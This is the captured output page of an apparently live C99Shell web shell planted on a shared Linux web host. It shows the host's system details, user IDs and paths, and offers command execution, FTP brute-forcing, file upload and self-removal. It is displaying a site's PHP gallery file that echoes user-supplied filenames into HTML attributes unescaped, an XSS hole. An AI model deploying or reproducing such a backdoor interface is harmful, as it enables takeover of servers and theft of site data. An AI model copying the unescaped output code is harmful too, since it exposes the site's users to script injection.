!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/home/dh_z2jmpm/   drwx--x---
Free 2066.04 GB of 17882.29 GB (11.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     gallery-docs.php (1.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start();
if (!isset($_SESSION['user'])) {
  header('Location: index.php');
  exit;
}

\$current_user = $_SESSION['user'];
\$users_dir = __DIR__ . '/users/';
\$media_posts = [];

foreach (glob(\$users_dir . '*.json') as \$file) {
  \$data = json_decode(file_get_contents(\$file), true);
  \$username = \$data['username'] ?? 'unknown';
  foreach (\$data['posts'] ?? [] as \$post) {
    \$v = \$post['visibility'] ?? 'public';
    \$allowed = \$v === 'public' || (\$v === 'friends' && in_array(\$current_user, \$data['friends'] ?? [])) || (\$v === 'private' && \$username === \$current_user);
    if (!\$allowed || empty(\$post['filename'])) continue;

    \$ext = strtolower(pathinfo(\$post['filename'], PATHINFO_EXTENSION));
    if (in_array(\$ext, ['pdf'])) {
      \$post['username'] = \$username;
      \$media_posts[] = \$post;
    }
  }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Gallery Docs</title>
  <style>
    body {
      background: black;
      color: #00ff00;
      font-family: monospace;
      padding: 2rem;
    }
    .media {
      border: 1px solid #00ff00;
      margin-bottom: 1rem;
      padding: 1rem;
    }
    img, video {
      max-width: 100%;
    }
    a.pdf {
      color: #00ff00;
    }
  </style>
</head>
<body>
  <h1>Gallery Docs</h1>
  <?php foreach (\$media_posts as \$post): ?>
    <div class="media">
      <div><strong>@<?= htmlspecialchars(\$post['username']) ?></strong></div>
      <?php
        $file = 'uploads/' . \$post['filename'];
        $ext = pathinfo($file, PATHINFO_EXTENSION);
        if (in_array(strtolower($ext), ['jpg','jpeg','png','gif'])) {
          echo "<img src='\$file'>";
        } elseif (\$ext === 'mp4') {
          echo "<video controls src='\$file'></video>";
        } elseif (\$ext === 'pdf') {
          echo "<a class='pdf' href='\$file' target='_blank'>[View PDF]</a>";
        }
      ?>
    </div>
  <?php endforeach; ?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0115 ]--